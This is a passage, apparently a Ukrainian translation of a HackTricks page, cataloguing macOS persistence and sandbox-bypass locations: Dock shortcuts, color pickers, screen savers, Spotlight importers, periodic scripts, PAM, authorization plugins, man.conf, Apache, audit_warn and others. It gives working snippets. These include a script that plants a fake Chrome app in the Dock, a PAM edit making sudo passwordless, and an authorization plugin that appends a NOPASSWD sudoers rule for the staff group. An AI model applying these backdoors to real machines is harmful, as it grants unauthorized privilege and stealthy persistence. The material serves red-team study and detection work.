  2. Відкрийте Folder Actions Setup.app, щоб застосувати цю конфігурацію: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

Caution

І це не спрацювало для мене, але це інструкції з writeup:(

Ярлики Dock

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • Корисно для обходу sandbox:
  • Але вам потрібно встановити шкідливий додаток у систему
  • TCC bypass: 🔴

Розташування

  • ~/Library/Preferences/com.apple.dock.plist
  • Trigger: Коли користувач клацне на додатку в Dock

Опис & Експлуатація

Всі додатки, що з’являються в Dock, вказані в plist: ~/Library/Preferences/com.apple.dock.plist

Можна додати додаток просто за допомогою:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

Використовуючи дещо social engineering, ви можете impersonate for example Google Chrome у Dock і фактично виконати власний скрипт:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

Колірні вибірники

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • Корисно для обходу sandbox: 🟠
  • Потрібна дуже специфічна дія
  • Ви опинитесь в іншому sandbox
  • TCC bypass: 🔴

Розташування

  • /Library/ColorPickers
  • Потрібен root
  • Тригер: Виклик вибірника кольору
  • ~/Library/ColorPickers
  • Тригер: Виклик вибірника кольору

Опис & Експлойт

Скомпілюйте bundle з вибірником кольору з вашим кодом (можна використати this one for example) та додайте конструктор (як у Screen Saver section) і скопіюйте bundle до ~/Library/ColorPickers.

Тоді, коли вибірник кольору буде викликаний, ваш код також буде виконано.

Зауважте, що бінарний файл, який завантажує вашу бібліотеку, має дуже суворий sandbox: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync Plugins

Розбір: https://theevilbit.github.io/beyond/beyond_0026/
Розбір: https://objective-see.org/blog/blog_0x11.html

  • Корисно для обходу sandbox: Ні, бо потрібно виконати власний app
  • TCC bypass: ???

Розташування

  • Конкретний додаток

Опис & Exploit

Приклад застосунку з Finder Sync Extension доступний тут.

Застосунки можуть мати Finder Sync Extensions. Це розширення включається в додаток, який буде виконуватися. Більше того, щоб розширення могло виконувати свій код, воно повинно бути підписане дійсним Apple developer certificate, воно має бути sandboxed (хоча можна додати пом’якшені винятки) і воно має бути зареєстровано чимось на зразок:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Екранна заставка

Writeup: https://theevilbit.github.io/beyond/beyond_0016/
Writeup: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Корисно для обходу sandbox: 🟠
  • Але ви опинитесь у типовому application sandbox
  • TCC bypass: 🔴

Розташування

  • /System/Library/Screen Savers
  • Потрібен root
  • Trigger: Виберіть екранну заставку
  • /Library/Screen Savers
  • Потрібен root
  • Trigger: Виберіть екранну заставку
  • ~/Library/Screen Savers
  • Trigger: Виберіть екранну заставку

Опис & Exploit

Створіть новий проект у Xcode і виберіть шаблон для створення нового Screen Saver. Потім додайте у нього свій код, наприклад код нижче для генерації логів.

Скомпілюйте його та скопіюйте бандл .saver до ~/Library/Screen Savers. Далі відкрийте GUI Screen Saver і, якщо просто натиснете на нього, має бути згенеровано багато логів:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

Caution

Зверніть увагу, що оскільки в entitlements бінарного файлу, який завантажує цей код (/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) присутній com.apple.security.app-sandbox, ви будете в межах загальної пісочниці застосунку.

Код Saver:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Плагіни Spotlight

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Корисно для обходу sandbox: 🟠
  • Але ви опинитесь в application sandbox
  • TCC bypass: 🔴
  • Sandbox виглядає дуже обмеженим

Розташування

  • ~/Library/Spotlight/
  • Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
  • /Library/Spotlight/
  • Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
  • Вимагається root
  • /System/Library/Spotlight/
  • Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
  • Вимагається root
  • Some.app/Contents/Library/Spotlight/
  • Тригер: Створюється новий файл з розширенням, яким керує Spotlight plugin.
  • Потрібен новий додаток

Опис та експлуатація

Spotlight — вбудована в macOS функція пошуку, призначена для забезпечення користувачам швидкого і всебічного доступу до даних на їхніх комп’ютерах.
Щоб забезпечити цю швидку пошукову можливість, Spotlight підтримує власну базу даних і створює індекс шляхом аналізу більшості файлів, що дозволяє швидко здійснювати пошук як за іменами файлів, так і за їхнім вмістом.

Під капотом Spotlight працює центральний процес під назвою ‘mds’, що означає ‘metadata server’. Цей процес координує всю службу Spotlight. Додатково працює кілька демонів ‘mdworker’, які виконують різні обслуговувальні завдання, такі як індексація різних типів файлів (ps -ef | grep mdworker). Ці завдання можливі завдяки Spotlight importer plugins, або “.mdimporter bundles”, які дозволяють Spotlight розуміти і індексувати вміст у різноманітних форматах файлів.

Плагіни або .mdimporter bundles розташовані в перерахованих вище місцях, і якщо з’являється новий bundle, він завантажується протягом хвилини (не потрібно перезапускати жодну службу). Ці bundles повинні вказувати, які типи файлів та розширення вони можуть обробляти, таким чином Spotlight використовуватиме їх, коли створюється новий файл з відповідним розширенням.

Можна знайти всі mdimporters, що завантажені, запустивши:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

І, наприклад, /Library/Spotlight/iBooksAuthor.mdimporter використовується для розбору таких файлів (розширення .iba і .book серед інших):

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Caution

Якщо ви перевірите Plist інших mdimporter, ви можете не знайти запис UTTypeConformsTo. Це тому, що це вбудований Uniform Type Identifiers (UTI) і він не потребує вказування розширень.

Крім того, системні плагіни за замовчуванням завжди мають пріоритет, тому атакувальник може отримати доступ лише до файлів, які інакше не індексуються власними mdimporters Apple.

Щоб створити власний importer ви можете почати з цього проекту: https://github.com/megrimm/pd-spotlight-importer і потім змінити ім’я, CFBundleDocumentTypes та додати UTImportedTypeDeclarations, щоб він підтримував розширення, яке ви хочете підтримати, і відобразити їх у schema.xml.
Потім змініть код функції GetMetadataForFile, щоб виконувати ваш payload при створенні файлу з оброблюваним розширенням.

Нарешті зберіть і скопіюйте ваш новий .mdimporter в одне з наведених раніше місць, і ви можете перевірити, чи він завантажений, моніторячи логи або виконавши mdimport -L.

Preference Pane

Caution

Здається, це більше не працює.

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • Корисно для bypass sandbox: 🟠
  • Потребує конкретної дії користувача
  • TCC bypass: 🔴

Location

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

Здається, це більше не працює.

Root Sandbox Bypass

Tip

Тут ви знайдете стартові локації, корисні для sandbox bypass, які дозволяють просто виконати щось шляхом запису цього в файл, будучи root і/або за умови інших нестандартних умов.

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • Корисно для bypass sandbox: 🟠
  • Але потрібно бути root
  • TCC bypass: 🔴

Location

  • /etc/periodic/daily, /etc/periodic/weekly, /etc/periodic/monthly, /usr/local/etc/periodic
  • Потрібен root
  • Trigger: Коли настане час
  • /etc/daily.local, /etc/weekly.local or /etc/monthly.local
  • Потрібен root
  • Trigger: Коли настане час

Description & Exploitation

Періодичні скрипти (/etc/periodic) виконуються через launch daemons, налаштовані в /System/Library/LaunchDaemons/com.apple.periodic*. Зверніть увагу, що скрипти, збережені в /etc/periodic/, виконуються під власником файлу, тому це не спрацює для потенційного підвищення привілеїв.

# Launch daemons that will execute the periodic scripts
ls -l /System/Library/LaunchDaemons/com.apple.periodic*
-rw-r--r--  1 root  wheel  887 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-daily.plist
-rw-r--r--  1 root  wheel  895 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-monthly.plist
-rw-r--r--  1 root  wheel  891 May 13 00:29 /System/Library/LaunchDaemons/com.apple.periodic-weekly.plist

# The scripts located in their locations
ls -lR /etc/periodic
total 0
drwxr-xr-x  11 root  wheel  352 May 13 00:29 daily
drwxr-xr-x   5 root  wheel  160 May 13 00:29 monthly
drwxr-xr-x   3 root  wheel   96 May 13 00:29 weekly

/etc/periodic/daily:
total 72
-rwxr-xr-x  1 root  wheel  1642 May 13 00:29 110.clean-tmps
-rwxr-xr-x  1 root  wheel   695 May 13 00:29 130.clean-msgs
[...]

/etc/periodic/monthly:
total 24
-rwxr-xr-x  1 root  wheel   888 May 13 00:29 199.rotate-fax
-rwxr-xr-x  1 root  wheel  1010 May 13 00:29 200.accounting
-rwxr-xr-x  1 root  wheel   606 May 13 00:29 999.local

/etc/periodic/weekly:
total 8
-rwxr-xr-x  1 root  wheel  620 May 13 00:29 999.local

Існують інші періодичні скрипти, які будуть виконуватися, вказані в /etc/defaults/periodic.conf:

grep "Local scripts" /etc/defaults/periodic.conf
daily_local="/etc/daily.local"				# Local scripts
weekly_local="/etc/weekly.local"			# Local scripts
monthly_local="/etc/monthly.local"			# Local scripts

Якщо вам вдасться записати будь-який із файлів /etc/daily.local, /etc/weekly.local або /etc/monthly.local, він рано чи пізно буде запущений.

Warning

Зауважте, що періодичний скрипт буде запущений від імені власника скрипта. Тож якщо скрипт належить звичайному користувачу, він запуститься від імені цього користувача (це може запобігти атакам ескалації привілеїв).

PAM

Writeup: Linux Hacktricks PAM
Writeup: https://theevilbit.github.io/beyond/beyond_0005/

  • Корисно для обходу sandbox: 🟠
  • Але потрібен root
  • TCC bypass: 🔴

Розташування

  • Завжди потрібен root

Опис і експлуатація

Оскільки PAM більше орієнтований на persistence і malware, ніж на просте виконання в macOS, цей блог не даватиме детального пояснення, прочитайте writeups, щоб краще зрозуміти цю техніку.

Перевірте PAM modules за допомогою:

ls -l /etc/pam.d

Техніка persistence/privilege escalation, що зловживає PAM, — достатньо змінити модуль /etc/pam.d/sudo, додавши на початку такий рядок:

auth       sufficient     pam_permit.so

Отже це буде виглядати приблизно так:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

Отже будь-яка спроба використати sudo спрацює.

Caution

Зверніть увагу, що цей каталог захищено TCC, тому дуже ймовірно, що користувач побачить запит на доступ.

Ще один хороший приклад — su, де ви можете побачити, що також можна передавати параметри модулям PAM (і ви також можете backdoor цей файл):

cat /etc/pam.d/su
# su: auth account session
auth       sufficient     pam_rootok.so
auth       required       pam_opendirectory.so
account    required       pam_group.so no_warn group=admin,wheel ruser root_only fail_safe
account    required       pam_opendirectory.so no_check_shell
password   required       pam_opendirectory.so
session    required       pam_launchd.so

Плагіни авторизації

Розбір: https://theevilbit.github.io/beyond/beyond_0028/
Розбір: https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65

  • Корисно для обходу sandbox: 🟠
  • Але потрібно бути root і зробити додаткові налаштування
  • TCC bypass: ???

Розташування

  • /Library/Security/SecurityAgentPlugins/
  • Потрібні права root
  • Також потрібно налаштувати authorization database для використання плагіна

Опис та експлуатація

Ви можете створити плагін авторизації, який виконуватиметься під час входу користувача для підтримки persistence. Для отримання додаткової інформації про те, як створити один із таких плагінів перегляньте попередні розбори (і будьте обережні: погано написаний плагін може заблокувати вам доступ, і вам доведеться очищати ваш Mac із recovery mode).

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

Перемістіть bundle у місце, звідки його буде завантажено:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

Нарешті додайте rule для завантаження цього Plugin:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms повідомить фреймворку авторизації, що потрібно викликати зовнішній механізм для авторизації. Крім того, privileged змусить його виконуватись від імені root.

Запустіть це за допомогою:

security authorize com.asdf.asdf

А потім група staff повинна мати доступ sudo (прочитайте /etc/sudoers, щоб підтвердити).

Man.conf

Writeup: https://theevilbit.github.io/beyond/beyond_0030/

  • Корисно для обходу sandbox: 🟠
  • Але потрібно бути root, і користувач має використовувати man
  • TCC bypass: 🔴

Розташування

  • /private/etc/man.conf
  • Потрібен root
  • /private/etc/man.conf: щоразу, коли використовується man

Опис та експлойт

Файл конфігурації /private/etc/man.conf вказує бінарний файл/скрипт, який використовується при відкритті man-сторінок документації. Тому шлях до виконуваного файлу можна змінити, і щоразу, коли користувач використовує man для читання документації, буде виконано backdoor.

Наприклад, встановіть у /private/etc/man.conf:

MANPAGER /tmp/view

А потім створіть /tmp/view як:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

Розбір: https://theevilbit.github.io/beyond/beyond_0023/

  • Корисно для обходу sandbox: 🟠
  • Але потрібно бути root і Apache має бути запущений
  • TCC bypass: 🔴
  • Httpd не має entitlements

Розташування

  • /etc/apache2/httpd.conf
  • Потрібен root
  • Спрацьовує: коли Apache2 запускається

Опис & Exploit

Можна вказати в /etc/apache2/httpd.conf завантаження модуля, додавши такий рядок:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

Таким чином ваш скомпільований модуль буде завантажено Apache. Єдине, що вам потрібно — або підписати його дійсним сертифікатом Apple, або додати в систему новий довірений сертифікат і підписати ним.

Потім, за потреби, щоб переконатися, що сервер буде запущено, ви можете виконати:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Приклад коду для Dylb:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM audit framework

Розбір: https://theevilbit.github.io/beyond/beyond_0031/

  • Корисно для обходу sandbox: 🟠
  • Але потрібно бути root, auditd має працювати і спричинити попередження
  • TCC bypass: 🔴

Розташування

  • /etc/security/audit_warn
  • Потрібен root
  • Trigger: Коли auditd виявляє попередження

Опис & Exploit

Коли auditd виявляє попередження, скрипт /etc/security/audit_warn виконується. Тому ви можете додати свій payload у нього.

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

Ви можете викликати попередження за допомогою sudo audit -n.

Елементи автозапуску

[!CAUTION] > Це застаріло, тому в цих каталогах нічого не повинно бути.

Директорія StartupItem має знаходитися в /Library/StartupItems/ або /System/Library/StartupItems/. Після створення ця директорія має містити два конкретні файли:

  1. An rc script: shell-скрипт, який виконується під час запуску.
  2. A plist file, зокрема з назвою StartupParameters.plist, який містить різні налаштування конфігурації.

Переконайтеся, що і rc script, і файл StartupParameters.plist правильно розміщені всередині директорії StartupItem, щоб процес запуску міг їх розпізнати та використовувати.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

emond

Caution

Я не можу знайти цей компонент у моєму macOS, тому для додаткової інформації перегляньте writeup

Writeup: https://theevilbit.github.io/beyond/beyond_0023/

Запроваджений Apple, emond — це механізм логування, який здається недорозвиненим або можливо закинутим, але він досі доступний. Хоча він не особливо корисний для адміністратора Mac, ця маловідома служба може слугувати тонким методом персистенції для зловмисників, ймовірно непоміченим більшістю адміністраторів macOS.

Для тих, хто знає про її існування, виявити будь-яке зловмисне використання emond досить просто. LaunchDaemon системи для цієї служби шукає скрипти для виконання в одному каталозі. Щоб перевірити це, можна використати наступну команду:

ls -l /private/var/db/emondClients

XQuartz

Опис: https://theevilbit.github.io/beyond/beyond_0018/

Розташування

  • /opt/X11/etc/X11/xinit/privileged_startx.d
  • Потрібен root
  • Тригер: з XQuartz

Опис & Exploit

XQuartz більше не встановлюється в macOS, тож якщо потрібна додаткова інформація — див. writeup.

kext

Caution

Встановити kext навіть з правами root настільки складно, що я не розглядаю це як спосіб виходу зі sandboxes або навіть для persistence (якщо тільки у вас немає exploit)

Розташування

Щоб встановити KEXT як елемент автозавантаження, він має бути встановлений в одному з наступних місць:

  • /System/Library/Extensions
  • Файли KEXT, вбудовані в операційну систему OS X.
  • /Library/Extensions
  • Файли KEXT, встановлені стороннім програмним забезпеченням

Ви можете перерахувати наразі завантажені файли kext за допомогою:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

Для додаткової інформації про kernel extensions див. цей розділ.

amstoold

Доклад: https://theevilbit.github.io/beyond/beyond_0029/

Location

  • /usr/local/bin/amstoold
  • Потрібні права root

Опис та експлуатація

Схоже, plist з /System/Library/LaunchAgents/com.apple.amstoold.plist використовував цей бінарний файл, одночасно експонуючи XPC service… справа в тому, що бінарник не існував, тож ви могли помістити щось на це місце, і коли XPC service викликається — ваш бінарник буде виконано.

Я більше не можу знайти це у своєму macOS.

xsanctl

Доклад: https://theevilbit.github.io/beyond/beyond_0015/

Location

  • /Library/Preferences/Xsan/.xsanrc
  • Потрібні права root
  • Trigger: Коли сервіс запускається (рідко)

Опис та експлуатація

Схоже, цей скрипт рідко запускають, і я навіть не зміг знайти його у своєму macOS, тож якщо потрібна додаткова інформація — див. доклад.

/etc/rc.common

[!CAUTION] > Це не працює в сучасних версіях macOS

Також тут можливо розмістити команди, які будуть виконані при запуску системи. Приклад звичайного скрипту rc.common:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

Persistence техніки та інструменти

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks